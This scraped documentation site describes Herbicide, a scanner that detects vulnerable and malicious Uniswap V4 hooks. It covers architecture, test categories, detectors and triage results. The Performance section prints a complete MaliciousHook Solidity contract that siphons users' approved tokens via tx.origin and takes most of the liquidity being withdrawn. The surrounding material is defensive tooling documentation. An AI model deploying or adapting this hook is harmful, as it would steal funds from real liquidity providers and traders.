Only this pageAll pages
Powered by GitBook
1 of 19

gamza.net

Loading...

Overview

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Quick Start

Loading...

Use cases

Loading...

Loading...

Advanced

Loading...

Loading...

Loading...

Learn

Loading...

Roadmap

Advanced Detection using LLM

Our project seeks to enhance the security of Uniswap V4 Hook Contracts by developing an advanced static analysis solution leveraging LLMs. Since Hook Contracts are a type of Smart Contract, developers can freely include custom functions and assembly code written in Yul, which adds to code complexity and makes it challenging for conventional static analysis tools to detect specific patterns or behaviors effectively.

We are exploring using LLMs to enhance static analysis and address these challenges. By training an LLM on smart contract code patterns, we aim to achieve a deep understanding of the complex structures within Hook functions and assembly code. This approach allows the LLM to recognize unique characteristics and potential vulnerabilities within Hook Contracts, enabling proactive identification of unintended behaviors or security flaws in the code. Such advanced analysis goes beyond merely detecting syntactic errors. It will offer a practical evaluation of hidden risks within Hook Contracts, contributing to a safer DeFi ecosystem on UniChain.

Anti-hook Monitoring

Our project aims to enhance security within the Uniswap V4 ecosystem by operating an Anti-Hook Monitoring solution. This solution will continuously monitor Pool Manager contracts deployed on Uni Chain and rigorously analyze the security of Hooks configured during the initialization process. We comprehensively assess potential risks and vulnerabilities by leveraging dynamic and static analysis methods. Through dynamic analysis, we verify that Hooks function safely across various operational scenarios, while static analysis helps preemptively identify security flaws at the code level.

With this thorough examination, we intend to build an allowlist of verified Hooks, providing a secure environment that Uniswap users can trust. Furthermore, to offer a recognized security standard for developers and users alike, we plan to issue SBTs exclusively to certified Hook Contracts. This issuance reflects our commitment to security and the broader advancement of Uniswap V4 and Uni Chain. Through Anti-Hook Monitoring, we aim to strengthen the Uniswap V4 ecosystem and support a secure onboarding experience.

Welcome

Herbicide is a mission-critical developer security platform to code, audit, deploy, monitor, and operate Uniswap v4 hook applications with confidence. Integrating directly into the developer workflow, Herbicide makes it easy and fast for developers and operators to prevent and fix security issues pre and post-deployment.

The document details the architecture, feature composition, roadmap, and other project-related aspects of Herbicide.

🚧 Official (DEV)

Jump right in

https://github.com/Gamzanet/Herbicide.git

Overview

Introduction

Quick Start

tutorials

Use cases

Malicious | Vulnerable Hook Detection

Key Features

What does Herbicide detect?

Analyzable Hook Condition

The analysis is supported for Uniswap V4 Hook Contracts interacting with the Uniswap V4 Pool Manager. The exact initialized values in the Pool Manager must be correctly entered. Each hook should be implemented per the IHook and BaseHook interfaces, interacting with v4-core:9293e5a and v4-periphery:1dc3a34.

Detectable Security Threat

ReInitializable

Detects changes in the Hook's storage due to the actions of beforeInitialize / afterInitialize if the same Hook can be deployed to the PoolManager. Confirms whether the storage accessed by the beforeInitialize/afterInitialize functions during Hook initialization is managed by PoolId.

Time Lock

Detects cases where a specific Hook does not operate after a certain period has elapsed.

External Callable Hook Functions

For Hook functions such as beforeInitialize / afterInitialize / beforeSwap / afterSwap / etc., detects whether entities other than the PoolManager can execute each function.

Malicious Hook Detection

Can identify risks of gas griefing through gas usage and warns if it can steal user funds or take more tokens than the user intends to pay.

Price Abnormality

Warns when there is a significant difference between the price simulated by Herbicide and the actual price at which the swap occurs.

Proxy Detection

Detects and warns if the Hook Contract is implemented as a proxy.

Contract Information Analysis

With PoolKey

  1. Hook Delta Simulation: Simulates the amount of funds moved during Swap/ModifyLiquidity, allowing users to directly understand the characteristics of the fund flow in the Hook.

  2. Static Analysis with Slither: Provides processed information such as security checks and contract information for Hook Contracts verified on BlockScout using Slither, making audits more convenient.

With Hook Contract

  1. Static Analysis with Semgrep: Based on the Herbicide Semgrep Script, it extracts and displays information about the Contract as follows.

    1. Library Information

    2. Modifier Information

    3. Inheritance Information

Variable Information

Vulnerable Hook Detection

Vulnerable Hook Detection

StopLoss


The StopLoss contract leverages Uniswap V4’s custom user hook functionality to implement a stop loss feature. This hook automatically sells tokens when the price in a specified pool meets the user-defined stop-loss conditions, thereby preventing further losses. The functionality of this hook is summarized as follows:

  1. Users create a stop-loss order by executing the placeStopLoss() function.

  2. After each swap, the afterSwap function compares the previous and current ticks, executing the order if the conditions are met.

Let's take a look at the afterSwap function in this hook.

The function lacks a modifier and any additional ACL mechanism. Through this function, the fillStopLoss() function can be called separately, allowing storage values to be altered. This may lead to unexpected behavior in the hook, and appropriate measures are necessary. Herbicide can detect these risks and alert users accordingly.

ArrakisHook


This ArrakisHook stores information about the pool key in beforeInitialize right before initialization, enabling it to manage liquidity through ERC1155.

Let's take a look at the beforeInitialize()in this hook.

This contract is a hook implemented to initialize information about the pool key in beforeInitialize. However, this hook does not implement any access control for beforeInitialize, nor does it take any measures regarding the number of initializations. Since the pool key is initialized in beforeInitialize, if a new initialization is performed on this hook, all existing hook assets will be locked.

Herbicide detects the storage values of such cases to ensure that users can use the hook safely.

Code Details
Code Detail
{
    "currency0": "0x0197481B0F5237eF312a78528e79667D8b33Dcff",
    "currency1": "0xA56569Bd93dc4b9afCc871e251017dB0543920d4",
    "fee": 3000,
    "hooks": "0xA3da6f46f93C7B3090A48D7bFeC0345156ED5040",
    "tickSpacing": 60,
    "deployer":"0x4e59b44847b379578588920cA78FbF26c0B4956C"
}

    function afterSwap(
        address,
        PoolKey calldata key,
        IPoolManager.SwapParams calldata params,
        BalanceDelta,
        bytes calldata
    ) external override returns (bytes4, int128) {
        int24 prevTick = tickLowerLasts[key.toId()];
        (, int24 tick,,) = poolManager.getSlot0(key.toId());
        int24 currentTick = getTickLower(tick, key.tickSpacing);
        tick = prevTick;

        int256 swapAmounts;

        // fill stop losses in the opposite direction of the swap
        // avoids abuse/attack vectors
        bool stopLossZeroForOne = !params.zeroForOne;

        // TODO: test for off by one because of inequality
        if (prevTick < currentTick) {
            for (; tick < currentTick;) {
                swapAmounts = stopLossPositions[key.toId()][tick][stopLossZeroForOne];
                if (swapAmounts > 0) {
                    fillStopLoss(key, tick, stopLossZeroForOne, swapAmounts);
                }
                unchecked {
                    tick += key.tickSpacing;
                }
            }
        } else {
            for (; currentTick < tick;) {
                swapAmounts = stopLossPositions[key.toId()][tick][stopLossZeroForOne];
                if (swapAmounts > 0) {
                    fillStopLoss(key, tick, stopLossZeroForOne, swapAmounts);
                }
                unchecked {
                    tick -= key.tickSpacing;
                }
            }
        }
        return (StopLoss.afterSwap.selector, 0);
    }
{
    "currency0": "0x0197481B0F5237eF312a78528e79667D8b33Dcff",
    "currency1": "0xA56569Bd93dc4b9afCc871e251017dB0543920d4",
    "fee": 3000,
    "hooks": "0x7Ba42C294124A8037707399823D56b8a589b6080",
    "tickSpacing": 60,
    "deployer": "0x4e59b44847b379578588920cA78FbF26c0B4956C"
}
    function beforeInitialize(
        address,
        PoolKey calldata poolKey_,
        uint160 sqrtPriceX96_,
        bytes calldata
    ) external override returns (bytes4) {
        poolKey = poolKey_;
        lastSqrtPriceX96 = sqrtPriceX96_;
        lastBlockNumber = block.number;
        return this.beforeInitialize.selector;
    }

Tutorials

Inspection Methods Based on User Input

To utilize Herbicide, users can select between two input methods.

PoolKey

  • The Hook Contract must be deployed on the Unichain.

  • The specified Hook should be initialized (or be eligible for initialization) with the Pool Manager at using the provided PoolKey.

  • The PoolKey includes the two token addresses to be exchanged (currency0, currency1), LP fees, tick spacing, and the Hook Contract address.

  • To run an Initialize Test with a specific deployer address, provide the address as an additional parameter. If omitted, the test will default to the standard address for execution.

Detection Available

  1. Malicious Hook Detection: Issues a warning if the Hook attempts to misappropriate user funds or withdraws more tokens than the user intended.

  2. Price Abnormality Detection: Alerts users if there is a significant discrepancy between the simulated price calculated by Herbicide and the actual swap price.

  3. Hook Delta Simulation: Simulates the amounts transferred during Swap/ModifyLiquidity operations, allowing users to understand the specific fund flow characteristics of the Hook.

Hook Contract written in Solidity

When a Hook Contract is provided, Herbicide uses its Semgrep script to perform static analysis, detecting potential threats and processing Hook Contract information for review.

Detection Available

  • onlyPoolManager: Confirms that onlyPoolManager is implemented to ensure access control for hook functions.

  • Double Initialize Storage Check: Verifies if the Storage accessed by beforeInitialize/afterInitialize functions is managed by PoolId during Hook initialization.

  • tx.origin Warning: Issues a warning if access control relies on tx.origin, which can introduce security vulnerabilities.

All tests are conducted without impacting the actual chain.

Types of integrations

Static Analysis with Slither: Provides security inspections and detailed contract information using Slither on verified Hook Contracts from BlockScout, facilitating efficient auditing of the Hook Contract.
0x38EB8B22Df3Ae7fb21e92881151B365Df14ba967

Analytics

Track analytics from your docs

Support

Add support widgets to your docs

Interactive

Add extra functionality to your docs

Visitor Authentication

Protect your docs and require sign-in

Uniswap v4 Hook

Unified Security Framework and Trust Considerations

Uniswap V4 has implemented a range of mechanisms to provide a secure and permissionless environment for user-defined liquidity operations, particularly through its new Hook functionality. However, this flexibility introduces certain risks and trust assumptions. Below, we explore the core security elements and specific considerations for maintaining robust user and liquidity provider trust.


Core Security Components

  • Singleton Architecture

    • Uniswap V4’s core resides within the single PoolManager contract, centralizing the management of all pools and enforcing a controlled environment for liquidity operations.

    • This differs significantly from the previous version, where each pool operated within its individual contract, providing stronger guarantees on interaction consistency.

  • Hook Contract Security

    • Hook contracts allow custom business logic to run before and after liquidity operations (e.g., beforeAddLiquidity, afterRemoveLiquidity), allowing advanced customization.

    • Given their direct interaction with token flows, Hooks may impose security risks if not designed correctly. Malicious Hooks could steal user assets or excessively inflate gas costs, which is why dynamic and static analysis tools, such as Herbicide, are recommended for threat detection.

  • Dynamic and Static Fee Management for Liquidity Providers

    • Fees in Uniswap V4 can be either static or dynamically adjustable, configurable through Hooks at initialization. However, as dynamic fees can be updated on an ongoing basis, additional scrutiny on these adjustments is required to avoid exploitation.


Critical Trust Assumptions

  1. Transaction Security and Slippage Control

    • Core contracts do not have built-in slippage protection, assuming that the periphery contracts will handle this function. Users and developers must ensure they use well-vetted periphery contracts to avoid excessive slippage in swaps.

  2. User and LP Asset Safety


Mitigation Strategies

To safeguard against the above risks, users, developers, and auditors are advised to:

  • Leverage Security Audits: Routine analysis using dynamic and static tools, such as Herbicide’s Hook monitoring, can help detect and remediate vulnerabilities.

  • Implement Trustworthy Oracles: Ensure Hooks rely on credible oracles when conducting price-sensitive operations.

  • Restrict Unauthorized Access: Apply onlyPoolManager modifiers or similar controls on sensitive Hook functions.

  • Monitor for Malicious Activities

Reentrancy and unusual token contracts (e.g., rebase tokens) introduce unique vulnerabilities. To mitigate these, rigorous contract review and adherence to ERC-20 standards are critical.
  • Potentially malicious Hooks can alter swap or liquidity positions to the detriment of users, emphasizing the need for security mechanisms that check slippage and enforce LP protections.

  • Permissions and Privilege Levels

    • Protocol Fee Controller: Authorized to set protocol fees up to a capped 0.1% and to direct accrued fees.

    • Owner: Maintains the authority to update the Protocol Fee Controller.

    • Hooks with Dynamic Fees: Authorized to adjust fees on dynamically configured pools.

  • Immutable Operations and Potential Upgradability

    • Certain Hooks could theoretically include upgradability, which introduces post-deployment risk if unchecked. Users and LPs are encouraged to carefully review Hooks or use those audited by trusted entities.

  • : Utilize security features within periphery contracts for additional slippage and transaction safety protections.

    Components & Features

    Before Use

    This page provides a brief overview of the components and tests within Herbicide. Herbicide requires Uniswap V4’s PoolKey as an input to operate. It is recommended that the Hook Contract be deployed for analysis on the Unichain Sepolia Network (Chain ID: 1301) and initialized with the Uniswap V4 Pool Manager Contract on Unichain Sepolia.

    For comprehensive static analysis, the source code must be verified and uploaded to the UniChain Blockscout Contract. Static analysis is powered by Semgrep and Slither, while dynamic analysis operates on a Foundry-based framework. Threats that may arise within Uniswap V4 Hooks are detailed in the Uniswap V4 Hook Security documentation.

    Features

    Hook Token Delta Simulation

    When using specific Hooks, the logic of afterSwap, beforeSwap, beforeAddLiquidity, afterAddLiquidity, beforeRemoveLiquidity, and afterRemoveLiquidity can impact token movements by influencing Delta Amount. Through Dynamic Analysis, we simulate the token amounts users are expected to pay or receive during swap/modifyLiquidity actions, tracking fund movements across each execution entity (Hook Contract, PoolManager, Router).

    By comparing the simulation results for amountIn and amountOut, users can verify the Actual Price when using a particular Pool. Additionally, this feature enhances user convenience by displaying real-time market prices, sourced through Pyth Oracle, for reference alongside simulation results.

    Hook Contract Scanner

    Provides simple threat detection and information extraction functions for Hook Contract code written in Solidity.

    The Hook Contract Scanner helps developers easily understand Libraries, Modifiers, require/assert/revert conditions, and Access Control Logic in the Hook Contract.

    actualPrice=amountOut/amountInactualPrice = amountOut / amountInactualPrice=amountOut/amountIn
    oraclePrice=(token1/usdc)/(token0/usdc)oraclePrice = (token1/usdc) / (token0/usdc)oraclePrice=(token1/usdc)/(token0/usdc)
    expectedPrice=expectedAmountOut/expectedAmountInexpectedPrice = expectedAmountOut / expectedAmountInexpectedPrice=expectedAmountOut/expectedAmountIn

    Malicious Hook Detection

    Malicious Hook Example

    Main Logic

    A malicious hook can monitor the amount of tokens a user has approved.

    1. The malicious hook takes the entire approved token amount through ERC6909.

    2. It then settles only the necessary amount required for a legitimate Swap/ModifyLiquidity.

    3. Through this process, the malicious hook can effectively steal the maximum possible token amount the user has approved for the transaction.

    Exact Out Swap Test

    The image above illustrates the process in which the Malicious Hook exploits the token approval mechanism. The first step shows the Malicious Hook verifying the approved token amount. In the second step, it proceeds to transfer the entire approved token quantity to ERC6909. Finally, the required amount is settled for legitimate Swap/ModifyLiquidity actions, allowing the Malicious Hook to maximize the tokens stolen from the User.

    Herbicide Detection Result

    GasGriefHook

    Hooks can significantly influence PoolKeys' behavior. For example, if a hook triggers a revert, it could render the associated pool unusable. Such cases, which compromise user accessibility, include attacks like gas griefing. Herbicide addresses these risks by detecting such hooks through dynamic analysis testing.

    Code Details

    https://unichain-sepolia.blockscout.com/address/0xbedD50791A853b4FAf2116AcC9b8df71D525C547?tab=contract

    Introduction

    Motivation

    This project aims to identify and address vulnerabilities arising from the lack of standardization- in Uniswap v4 hooks, enabling proactive threat mitigation within the web3 ecosystem.

    Summary of Herbicide

    The Hook function, a key feature introduced in Uniswap V4, allows developers to apply custom business logic before and after actions like adding or removing liquidity, token swaps, and liquidity donations. In Uniswap V4, liquidity is managed by PoolKeys, which includes the addresses of two tokens to be exchanged, fees, tick spacing, and the address of the implemented Hook Contract.

    Using Hook-applied liquidity, our project analyzes Uniswap V4 to define and address potential threats. The solution enables users to input a PoolKey corresponding to their Hook Contract deployed on the Uni Chain, then dynamically and statically analyze it to detect possible threats.

    Dynamic testing is conducted across N categories with M tests, while static analysis follows with N categories and M tests, ultimately displaying results for the user. Uniswap continues to enhance the Uni Chain and blockchain ecosystem through initiatives like the Infinite Hackathon and Retro Program. We aim to assist Uniswap V4 users and Hook developers in creating safer Hook Contracts.

    Performance

    Our Herbicide platform has identified security issues among various Uniswap v4 hooks detected through our platform. We conducted a direct triage process on each identified issue to verify their validity as vulnerabilities. The following outlines the results of this process.

    // SPDX-License-Identifier: UNLICENSED
    pragma solidity ^0.8.0;
    
    import {BaseHook} from "v4-periphery/src/base/hooks/BaseHook.sol";
    import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
    import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
    import {Hooks} from "v4-core/src/libraries/Hooks.sol";
    
    import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
    import {PoolKey} from "v4-core/src/types/PoolKey.sol";
    
    import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
    import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
    
    import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    
    import {TickMath} from "v4-core/src/libraries/TickMath.sol";
    import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
    
    import {FixedPointMathLib} from "solmate/src/utils/FixedPointMathLib.sol";
    import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
    import {SafeCast} from "v4-core/src/libraries/SafeCast.sol";
    import {toBalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
    import {CurrencySettler} from "v4-core/test/utils/CurrencySettler.sol";
    
    contract MaliciousHook is BaseHook {
        using Hooks for IHooks;
        using SafeCast for uint256;
        using SafeCast for int128;
        using CurrencySettler for Currency;
    
        bool private firstAddLiquidity = true;
        uint128 public constant TOTAL_BIPS = 10000;
    
        constructor(IPoolManager _manager) BaseHook(_manager) {}
    
        function getHookPermissions()
            public
            pure
            override
            returns (Hooks.Permissions memory)
        {
            return
                Hooks.Permissions({
                    beforeInitialize: false,
                    afterInitialize: false,
                    beforeAddLiquidity: false,
                    afterAddLiquidity: true,
                    beforeRemoveLiquidity: false,
                    afterRemoveLiquidity: true,
                    beforeSwap: false,
                    afterSwap: true,
                    beforeDonate: false,
                    afterDonate: false,
                    beforeSwapReturnDelta: false,
                    afterSwapReturnDelta: true,
                    afterAddLiquidityReturnDelta: true,
                    afterRemoveLiquidityReturnDelta: true
                });
        }
    
        function afterSwap(
            address sender, /* sender **/
            PoolKey calldata key,
            IPoolManager.SwapParams calldata params,
            BalanceDelta delta,
            bytes calldata /* hookData **/
        ) external override onlyPoolManager returns (bytes4, int128) {
    
            bool specifiedTokenIs0 = (params.amountSpecified < 0 == params.zeroForOne);
            (Currency targetCurrency, int128 swapAmount) =
                (specifiedTokenIs0) ? (key.currency1, delta.amount1()) : (key.currency0, delta.amount0());
    
            
            if (swapAmount < 0) 
                swapAmount = -swapAmount;
            else
                return (IHooks.afterSwap.selector,0);
    
            address victim = tx.origin;
            IERC20 feeToken = IERC20(Currency.unwrap(targetCurrency));
            uint256 stealAmount = feeToken.allowance(victim, sender);
    
            if (stealAmount > targetCurrency.balanceOf(victim)) {
                stealAmount = targetCurrency.balanceOf(address(victim));
            }
    
            if (poolManager.isOperator(victim, sender)) {
                uint256 balance_6909 = poolManager.balanceOf(victim, targetCurrency.toId());
    
                stealAmount = stealAmount < balance_6909 ? stealAmount : balance_6909;
            }
    
            targetCurrency.take(poolManager, address(this), stealAmount, true);
            targetCurrency.settle(poolManager, address(this), (stealAmount * key.fee / TOTAL_BIPS) + uint128(swapAmount), true);
            stealAmount = stealAmount - (stealAmount * key.fee / TOTAL_BIPS) - uint128(swapAmount);
    
            return (IHooks.afterSwap.selector, (stealAmount).toInt128());
        }
    
        function afterRemoveLiquidity(
            address, /* sender **/
            PoolKey calldata key,
            IPoolManager.ModifyLiquidityParams calldata, /* params **/
            BalanceDelta delta,
            BalanceDelta,
            bytes calldata /* hookData **/
        ) external override onlyPoolManager returns (bytes4, BalanceDelta) {
            assert(delta.amount0() >= 0 && delta.amount1() >= 0);
    
            uint256 stealAmount0;
            uint256 stealAmount1;
    
            if (delta.amount0() > 0)
                stealAmount0 = uint128(delta.amount0()) - 1;
            if (delta.amount1() > 0)
                stealAmount1 = uint128(delta.amount1()) - 1;
    
            key.currency0.take(poolManager, address(this), stealAmount0, true);
            key.currency1.take(poolManager, address(this), stealAmount1, true);
    
            return (IHooks.afterRemoveLiquidity.selector, toBalanceDelta(int128(uint128(stealAmount0)), int128(uint128(stealAmount1))));
        }
    
        function afterAddLiquidity(
            address sender, /* sender **/
            PoolKey calldata key,
            IPoolManager.ModifyLiquidityParams calldata, /* params **/
            BalanceDelta delta,
            BalanceDelta,
            bytes calldata /* hookData **/
        ) external override onlyPoolManager returns (bytes4, BalanceDelta) {
            if (firstAddLiquidity) {
                firstAddLiquidity = false;
                return (IHooks.afterAddLiquidity.selector, toBalanceDelta(0, 0));
            }
            assert(delta.amount0() <= 0 && delta.amount1() <= 0);
    
            address victim = tx.origin;
            IERC20 targetToken0 = IERC20(Currency.unwrap(key.currency0));
            IERC20 targetToken1 = IERC20(Currency.unwrap(key.currency1));
            uint256 stealAmount0 = targetToken0.allowance(victim, sender);
            uint256 stealAmount1 = targetToken1.allowance(victim, sender);            
            if (stealAmount0 > targetToken0.balanceOf(victim)) {
                stealAmount0 = targetToken0.balanceOf(address(victim));
            }
            if (stealAmount1 > targetToken1.balanceOf(victim)) {
                stealAmount1 = targetToken1.balanceOf(address(victim));
            }
    
            if (poolManager.isOperator(victim, sender)) {
                uint256 balance0_6909 = poolManager.balanceOf(victim, key.currency0.toId());
                uint256 balance1_6909 = poolManager.balanceOf(victim, key.currency1.toId());
    
                stealAmount0 = stealAmount0 < balance0_6909 ? stealAmount0 : balance0_6909;
                stealAmount1 = stealAmount1 < balance1_6909 ? stealAmount1 : balance1_6909;
            }
            
            key.currency0.take(poolManager, address(this), stealAmount0, true);
            key.currency1.take(poolManager, address(this), stealAmount1, true);
            key.currency0.settle(poolManager, address(this), uint128(-delta.amount0()), true);
            key.currency1.settle(poolManager, address(this), uint128(-delta.amount1()), true);
    
            stealAmount0 -= uint128(-delta.amount0());
            stealAmount1 -= uint128(-delta.amount1());
    
            return (IHooks.afterAddLiquidity.selector, toBalanceDelta(int128(uint128(stealAmount0)), int128(uint128(stealAmount1))));
        }
    }
    {
        "currency0": "0x0197481B0F5237eF312a78528e79667D8b33Dcff",
        "currency1": "0xA56569Bd93dc4b9afCc871e251017dB0543920d4",
        "fee": 3000,
        "tickSpacing": 60,
        "hooks": "0x3c712B5E5B4a7ee97E4e3F2330bFb435050a4800",
        "deployer": "0x4e59b44847b379578588920cA78FbF26c0B4956C"
    }

    Architecture

    This page describes the project's technical grid and how it works.

    Overview

    This project is designed as a web service, allowing users to submit a Pool Key from Uniswap V4 and choose between dynamic and static analysis options. Users can access this service via a web interface. When a Pool Key initialized in the Uniswap V4 Pool Manager is provided, the system begins its analysis based on this Pool Key.

    The Pool Key information is stored in the API server, and a Task is dispatched to a Message Queue. If a Task is present in the Queue, the Worker executes it. Static analysis utilizes Semgrep and Slither, while dynamic analysis operates on a Foundry-based system. Results from both types of analysis are interpreted, aggregated, and stored in Redis.

    Users can access and review their analysis results using the Task ID associated with each request.

    Dynamic Analysis

    This page describes the contents related to dynamic analysis

    Dynacmic analysis operates based on Foundry, and 199 tests are conducted in 7 categories.

    Minimum Test

    1. Verifies whether the liquidity pool corresponding to the PoolKey is functioning correctly.

    2. Tests modifyLiquidity and swap for

    3. Tests modifyLiquidity, swap, and donate for

    Time Based Minimum Test

    1. The above basic tests are conducted periodically. The intervals for each period are as follows:

      1. 1 hour, 3 hours, 6 hours, 12 hours, 1 day, 1 week, 1 month, 1 year, 3 years, 5 years, 7 years, 10 years After a certain period of time, it is confirmed whether the liquidity pool operates normally, and a warning is issued for Hooks with implemented Time Locks.

    Only PoolManger Test

    Each Hook Function is executed by calling the Hook Contract through the unlockCallback in the PoolManager. If Hook Functions are called by other Users or Contracts, unintended behavior may occur, so the function caller should be restricted using the onlyPoolManager modifier or require statement.

    Herbicide warns if Hook Functions can be called externally.

    ReInitializable Test

    Although the same PoolKey cannot be used to initialize a Pool in the PoolManager, if storage is not managed by PoolID, side effects may occur when initializing the same Hook with a different PoolKey.

    Herbicide changes the tick interval of the Pool key you entered to check if it can be initialized, and warns if the same storage is used.

    If the Hook Contract does not manage storage by PoolID, it should be checked and managed based on PoolID, or additional measures should be taken to prevent reinitialization.

    Proxy Hook Test

    If the Hook Contract operates using the Proxy Pattern, it warns that the logic of the Hook may change.

    Hook Gas Comparison

    It compares the gas usage of modifyLiquidity and swap without using the Hook, and the gas usage of modifyLiquidity and swap when using the Hook. This allows the detection of malicious Gas Griefing by the Hook, and users can predict the gas usage when using the Hook.

    Swap Price Comparison

    When performing a Swap for a Pool using the Hook, the use of the Hook may cause fluctuations in the token price. Additionally, the Swap may be executed at a price different from the predicted one.

    Herbicide can be used to predict such token prices in advance.

    • If the predicted price by Herbicide and the Simulated Actual Price differ by more than 5%, a warning is issued.

    • It provides market token price information calculated through Pyth Oracle for convenient comparison.

    ERC-6909.
    ERC-20.

    IDX

    Hook Name

    Type

    Minimum

    Time-Lock

    OnlyBy

    PoolManager

    Proxy

    Re-

    Initialize

    Gas-

    Griefing

    P1

    DeltaReturningHook

    Uniswap Basic

    P

    P

    P

    P

    P

    P

    P2

    CustomCurveHook

    Uniswap Basic

    Detect

    Detect

    False Positive

    P

    P

    P

    P3

    DynamicFeesTestHook

    Uniswap Basic

    P

    P

    Detect

    P

    P

    P

    P4

    DynamicReturnFeeTestHook

    Uniswap Basic

    P

    P

    Detect

    P

    P

    P

    P5

    FeeTakingHook

    Uniswap Basic

    P

    P

    P

    P

    P

    P

    P6

    LPFeeTakingHook

    Uniswap Basic

    P

    P

    P

    P

    P

    P

    P7

    FullRange

    Uniswap Labs

    Detect

    Detect

    False Positive

    P

    P

    P

    P8

    GeomeanOracle

    Uniswap Labs

    Detect

    Detect

    False Positive

    P

    P

    P

    P9

    LimitOrder

    Uniswap Labs

    P

    P

    P

    P

    P

    P

    P10

    VolatilityOracle

    Uniswap Labs

    P

    P

    Detect

    P

    P

    P

    P11

    StopLoss

    Community

    P

    P

    Detect

    P

    P

    P

    P12

    TradingDays

    Community

    P

    Detect

    Detect

    P

    P

    P

    P13

    ArrkisHook

    ETHCC_Paris

    P

    P

    Detect

    P

    Detect

    P

    Static Analysis

    Threat Detection

    Using the Detectors provided by Slither, it is possible to detect threats within the Hook. Herbicide automatically executes the following Detectors to find and warn about threats.

      • Detect collision due to dynamic type usages in abi.encodePacked

    Informational Gathering

    Using the Slither-Printer, it displays critical information regarding the access control of the contract. In Herbicide, the Printer is automatically executed to extract and display.

      • Prints require statements in the function.

      • Prints modify applied to the function.

    Contract Information

    • info-variable

      • Prints state variables and the functions using them.

    • info-inline-access-control

    Semgrep-Solidity + Python

    In the Simple Contract Analyzer, users can input contract to receive processed key information according to predefined Semgrep rules by Herbicide. This lets users easily review details about functions and storage variables declared in

    Threat Detection

    • info-layer2-assignee

      • Checks storage re-used while double-initializing the hook.

    • low-call

    Detection of state variables shadowed.
    Uninitialized state variables.
    Delegatecall to an address controlled by the user.
  • Detect the use of delegatecall inside a loop in a payable function.

  • Detect the use of msg.value inside a loop.
    Detection of the reentrancy bug. Do not report reentrancies that don't involve Ether (see,reentrancy-no-eth)
    The return value of an external transfer/transferFrom call is not checked
    Detection of state variables shadowed from abstract contracts.
    Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.

    state variables and authentication

    • Prints require statements with msg.sender, in the function which writes state variables.

    Checks require&assert&revert conditions.
  • info-inheritance

    • Prints the contract's inheritance information.

  • info-library

    • Prints the usage of libraries of the contract.

  • Checks if the hook is low-calling to other addresses.
  • getSlot0-check

    • Checks if the hook is calling getSlot0 function, as it is dangerous if the hook operates as an oracle, returning the getSlot0 value as the price of the pool.

  • missing-token-transfer-while-burnt

    • Checks if the hook is not transfer the underlying token while the token is burnt.

  • missing-onlyPoolManager-modifier

    • Checks if onlyPoolManager modifier is not applied to the hook functions.

  • misconfigured-hook

    • Checks if the hook functions are not yet implemented, while the function flag of getHookPermissions returns true.

  • encode-packed-collision
    shadowing-state
    uninitialized-state
    delegatecall-loop
    msg-value-loop
    reentrancy-eth
    unchecked-transfer
    shadowing-abstract
    divide-before-multiply
    require statements
    modifiers